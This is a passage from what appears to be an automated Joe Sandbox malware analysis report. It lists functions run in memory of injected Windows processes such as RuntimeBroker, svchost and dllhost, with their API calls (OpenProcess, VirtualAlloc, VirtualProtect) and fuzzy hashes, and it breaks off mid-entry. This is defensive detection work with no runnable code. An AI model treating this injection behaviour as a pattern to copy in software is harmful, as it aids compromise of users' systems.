CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C326D

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 1a8fcc1b29af6dc6d508c4043910ddb7290efc2c1b1de9f1c1491fbd14d99cd8
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 871121B2504958AFDF12AF60CC45FAF77BCEF60305F0145A9E986EA005DB349A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C0B65 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(001C0B57,0000000E), ref: 001C0B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 001C0B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 001C0B84
ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 001C0BA6

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: Process$Window$ExitFindOpenThread
String ID:
API String ID: 273847653-0
Opcode ID: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction ID: a9338b71442d5d3ebf48e46985c07ff31f3dafee2d3b1c7779650113a65b08a8
Opcode Fuzzy Hash: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction Fuzzy Hash: CE11EF25204301AEEF136BB08D56F663F28AF36B00F0A419DF8449E0A3DB20C9429A38

Uniqueness

Uniqueness Score: -1.00%

Function 02413F31 Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,02413F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02413F51
Sleep.KERNEL32(000003E8,00000000,?,02413F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02413F6F
Sleep.KERNEL32(000007D0), ref: 02413F7F
Sleep.KERNEL32(00000BB8), ref: 02413F8F

Memory Dump Source

Source File: 00000013.00000002.1972126651.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2410000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: acc4a659522aac116112dbc9359ba58cefc6edd40eb1a3042a2206ca228f25c5
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: 4AF0F8705443509AFF403FB2884C74A3EB9AF0070CF0400DABA8AAD096CE7481948F65

Uniqueness

Uniqueness Score: -1.00%

Function 001C3EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(001C3EBD,00000006,E8FFFE1B,00000000), ref: 001C3EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D

Strings

j, xrefs: 001C3EFC

Memory Dump Source

Source File: 00000013.00000002.1970966618.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_bin.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: j
API String ID: 4133054770-2747090070
Opcode ID: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction ID: c4430a2c0c24a2b0bdc06aa21888522cca28319f24652424d60ea3f5ea681fdb
Opcode Fuzzy Hash: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction Fuzzy Hash: BEF0C871948250AEEB127A708855FAE32BCAF70701F00C45DBA95DA041DF30C740DAB7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: TextInputHost.exePID: 3788, Parent PID: 6384COMMON

Executed Functions

Function 00580811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0058092A
RtlExitUserThread.NTDLL ref: 00580933

Memory Dump Source

Source File: 00000015.00000002.2965526890.0000000000580000.00000040.00000001.00020000.00000000.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_580000_TextInputHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: ad2bcb2392a4eecc8ec5ac587f61150cc7b45fc580965541663a43ffb8525291
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 8131C3720006056FEF417B709D4AABA7FACFF51310F001165BD85EA0E2EA7449A98BB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 5116, Parent PID: 6384COMMON

Executed Functions

Function 003D0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 003D092A
RtlExitUserThread.NTDLL ref: 003D0933

Memory Dump Source

Source File: 00000016.00000002.2834831450.00000000003D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_3d0000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 37606bd29bffd8747609349bc4e3a59d52761269dbb140b3fc6ccf4b2a91a728
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DF31D4734102047FEB077B70AD46BBA3BACEF11700F000167BD95DE2A6EA7449649AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 1532, Parent PID: 6384COMMON

Executed Functions

Function 00900811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0090092A
RtlExitUserThread.NTDLL ref: 00900933

Memory Dump Source

Source File: 00000017.00000002.2834786421.0000000000900000.00000040.00000001.00020000.00000000.sdmp, Offset: 00900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_900000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 807355393fe14c1897a20badd90106663a8bf34a3f2784256eb9570d4bf43842
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9A31E472000204AFEB017B709D86BBA3BACFF91300F444166FD85DA0E2EA7549A48AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ApplicationFrameHost.exePID: 5736, Parent PID: 6384COMMON

Executed Functions

Function 00181D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00181D99
VirtualAlloc.KERNELBASE ref: 00181DD2
VirtualProtect.KERNELBASE ref: 00181E56

Memory Dump Source

Source File: 00000018.00000002.2966200143.0000000000180000.00000040.00000001.00020000.00000000.sdmp, Offset: 00180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_180000_ApplicationFrameHost.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: f7edfa1d29ee3a2f15c71f23f1afa3dacc25a52c64f2328ccefa2793ada852ba
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 1121E531A34C1D0BEB58B27C9859764F6D6E79C320F980295E90DD36E4ED58CC8287C6

Uniqueness

Uniqueness Score: -1.00%

Function 00180811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0018092A
RtlExitUserThread.NTDLL ref: 00180933

Memory Dump Source

Source File: 00000018.00000002.2966200143.0000000000180000.00000040.00000001.00020000.00000000.sdmp, Offset: 00180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_180000_ApplicationFrameHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 5f0a2bf08c062a83ee58e576ca9a39c726153a08bf7c3d9358f7d983c0235e19
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 7331B6724102087FEB427F709D46ABA376CEF26310F440165BD85DA0A6EB744BA9CFB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 1760, Parent PID: 6384COMMON

Executed Functions

Function 00190811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0019092A
RtlExitUserThread.NTDLL ref: 00190933

Memory Dump Source

Source File: 0000001A.00000002.2966192849.0000000000190000.00000040.00000001.00020000.00000000.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_190000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 623531ca5508d48381e8169b3b0e04df07f96b68e4b13c9decdab74f5fa118bc
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: F131F772510205BFEF027F709D46ABA3BACEF25300F400565BD85DA0A2EB744DA4CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: UserOOBEBroker.exePID: 3924, Parent PID: 6384COMMON

Executed Functions

Function 00011D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00011D99
VirtualAlloc.KERNELBASE ref: 00011DD2
VirtualProtect.KERNELBASE ref: 00011E56

Memory Dump Source

Source File: 0000001C.00000002.2966200483.0000000000010000.00000040.00000001.00020000.00000000.sdmp, Offset: 00010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_10000_UserOOBEBroker.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: 9f39b5367da6598aeeb1998e776373a994835cae58933e0181d4283a84448e61
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 6021F930B34C1D0BEB5CA27C98597A4F6E2E79C320F940295EA0DD36D4ED58CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00010811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0001092A
RtlExitUserThread.NTDLL ref: 00010933

Memory Dump Source

Source File: 0000001C.00000002.2966200483.0000000000010000.00000040.00000001.00020000.00000000.sdmp, Offset: 00010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_10000_UserOOBEBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 6daea8f8473804d12748bca0b7204fc4a623126665c209879b0ad2024dc0075f
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 8231B6724142046FEB017BB09D4AAFA7BACEF11310F044165BDC5DA0A7DEB449D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 5040, Parent PID: 6384COMMON

Executed Functions

Function 009F0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 009F092A
RtlExitUserThread.NTDLL ref: 009F0933

Memory Dump Source

Source File: 0000001D.00000002.2966210621.00000000009F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_9f0000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: acaf790e11c60cba8a293411a6431baf221f9d6cbfbb05ff914238914326911b
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: BF31D67201024CBFEB017B709D46BBA3B6CEF91350F004165BE85DA0A3EA7549948BB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 3300, Parent PID: 6384COMMON

Executed Functions

Function 00880811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0088092A
RtlExitUserThread.NTDLL ref: 00880933

Memory Dump Source

Source File: 0000001E.00000002.2966843068.0000000000880000.00000040.00000001.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_880000_conhost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 880e9aabe061995b8033cec9ddf34236fde6215fc8b9e8af3826ea7dc37c58af
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: A031D4724002086FEF417F749D4AABA3BACFF11300F000165FD85DA0A6EA7449A9CFB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 2912, Parent PID: 6384COMMON

Executed Functions

Function 00980811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0098092A
RtlExitUserThread.NTDLL ref: 00980933

Memory Dump Source

Source File: 0000001F.00000002.2966847993.0000000000980000.00000040.00000001.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_980000_dllhost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 05d2ec8a17d838d95e91d8bb6291b1c254e15e4d3c82129372bb541a104e5f8d
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 6231E6720002056FEF417F709D46BBA3BACEF91300F000165BD85DA2A2EA7549A9CBB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 4504, Parent PID: 6384COMMON

Executed Functions

Function 00A20811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00A2092A
RtlExitUserThread.NTDLL ref: 00A20933

Memory Dump Source

Source File: 00000021.00000002.2504300821.0000000000A20000.00000040.00000001.00020000.00000000.sdmp, Offset: 00A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_a20000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 8d758f3a916c03f6e5df19f9fc3d763be8a9d881da75f68633e99bf1337d5061
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: F631E6724002247FEB017B74AE86EBA3BACEF11300F440175BD85DA0A7EA7449A58AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 6016, Parent PID: 6384COMMON

Executed Functions

Function 00060811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0006092A
RtlExitUserThread.NTDLL ref: 00060933

Memory Dump Source

Source File: 00000022.00000002.2967398986.0000000000060000.00000040.00000001.00020000.00000000.sdmp, Offset: 00060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_60000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 7829851cbd399c4a7dc69e4cc2518204601d444ef535abd62bd0664f49c99fbc
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 4131C4724502046FEB01BB709D8AAFB3BAEEF11310F044166BD85DA0A7EE744D658BB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: KIdSIJzxFEgRWLYApSEFvZXik.exePID: 4852, Parent PID: 6384COMMON

Executed Functions

Function 0307093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3002373441.0000000003070000.00000040.00000001.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_3070000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 86a9fefce4934b5a333cffb6db5292588555923d7cee170db6eb40ea3dbc61d4
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 24518331A45354AFEB229F20CC85B9A77FCAF04744F0802D5BA49FE0D6DAB09594CB69

Uniqueness

Uniqueness Score: -1.00%

Function 030714BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3002373441.0000000003070000.00000040.00000001.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_3070000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction ID: 017be806817093a75857458c5232b068edda4fd13acc0b37dc88a390a8effc62
Opcode Fuzzy Hash: f5727545300d1671addd51e91b40c8cbd905ff098a5558d7618b97e1a8f51269
Instruction Fuzzy Hash: 21210C728056149EDB07EF60C9C8CE673ECEF80604F45096B9D89EF089FA709154CAEA

Uniqueness

Uniqueness Score: -1.00%

Function 03071345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3002373441.0000000003070000.00000040.00000001.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_3070000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 3a0c3ecd972323767d781896da44f67a459339497b0295846b38ba0d6d4338d9
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 6621AC31A05216AFDB11DEB8C888B9DBBF5AF04300F098225F955BB6D4DB70A900CB98

Uniqueness

Uniqueness Score: -1.00%

Function 030714DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3002373441.0000000003070000.00000040.00000001.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_3070000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction ID: 0fe5d329beae997d042294d1ae1f77621b18a5665ba787c63f8b4f0693f02e84
Opcode Fuzzy Hash: 6d5916cffd13119fdbd97c2973cedf6b12916aa16a29f0e56b04471841f1574a
Instruction Fuzzy Hash: BC1189768056149EEF03EF60C5C8CEA73FCEE80604B4509AA9D85EF449FE709154CAE9

Uniqueness

Uniqueness Score: -1.00%

Function 03073F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3002373441.0000000003070000.00000040.00000001.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_3070000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: ecb83dd5a496519179beab78a50a14464ce1c7e8e3415d1f6b2695ba08c648a6
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: 59F08C3CD8A340AAFF40BBB08C4979D32B8AF80385F0404D0AA89AD0D0CE308551AEF8

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03074675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ie: , xrefs: 0307472E
nt: , xrefs: 030747B6
-Age, xrefs: 030747B0
User, xrefs: 030747AA
Cook, xrefs: 03074728

Memory Dump Source

Source File: 00000023.00000002.3002373441.0000000003070000.00000040.00000001.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_3070000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 233fa0e0f9852c3c6952d79b4540f11fc55acb3374298afafe964f87364d901d
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 504163B6900208BFEF129F65CC48BDEBFF9EF84704F1540A9EA44AA254D734D650CB98

Uniqueness

Uniqueness Score: -1.00%

Function 03074674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ie: , xrefs: 0307472E
nt: , xrefs: 030747B6
-Age, xrefs: 030747B0
User, xrefs: 030747AA
Cook, xrefs: 03074728

Memory Dump Source

Source File: 00000023.00000002.3002373441.0000000003070000.00000040.00000001.00020000.00000000.sdmp, Offset: 03070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_3070000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 87063ca7f03c968daa3ededf72a38c46cb6e7b2da7de9e3cb1b1568f7327516e
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: EE4153B6901208BFEF129F65CC44BDEBBF9EF84704F154099EA44AA254D7349640DB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: KIdSIJzxFEgRWLYApSEFvZXik.exePID: 5144, Parent PID: 6384COMMON

Executed Functions

Function 02CE093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2995653365.0000000002CE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2ce0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: ae50c36aab4f5a171fe8dbe0f9d80606aa5399d86f115cb0f5a5473561e3e639
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: CC5180316442549FEF229F20CC85B9A77BCEF44744F0401D9BA4AFE0D6DBB09694CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 02CE14BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2995653365.0000000002CE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2ce0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e971aff2dee82d23a3358c9d971b96922ba5f2b56971bbf18b19d5fda69c74c
Instruction ID: 965a6c7d897dd9df6fe59c0f754f203ef6fdd9d8aaaa276a14499ab3faf1b773
Opcode Fuzzy Hash: 4e971aff2dee82d23a3358c9d971b96922ba5f2b56971bbf18b19d5fda69c74c
Instruction Fuzzy Hash: 4621EEB24046149EDF03AF60C9C9DA673ECEF40704F49096A9D8AEF049FAB49554CEE6

Uniqueness

Uniqueness Score: -1.00%

Function 02CE1345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2995653365.0000000002CE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2ce0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 316af92cff46ee6346745f2e2a7fea43905a2b6ca7912d35c35f56d9927a5098
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 7721C031904316AFDF119F78C844B5DBBB5AF44300F094225FD59BB594D770E910CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02CE14DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2995653365.0000000002CE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2ce0000_KIdSIJzxFEgRWLYApSEFvZXik.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd4bdbd2d3ac98c154407d02b891d2f62a68255919f7b6f6d8897c53184077a6
Instruction ID: b439095194dc05d1f5c738cb6e4e7554d49f063a5c19dffec498dfe1073bf0ab
Opcode Fuzzy Hash: dd4bdbd2d3ac98c154407d02b891d2f62a68255919f7b6f6d8897c53184077a6
Instruction Fuzzy Hash: 7E118FB24045549EEF03AF60C5C8CAA73ECEE40704B49096A9D8AEF449FE709554DEE5

Uniqueness

Uniqueness Score: -1.00%

Function 02CE3F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

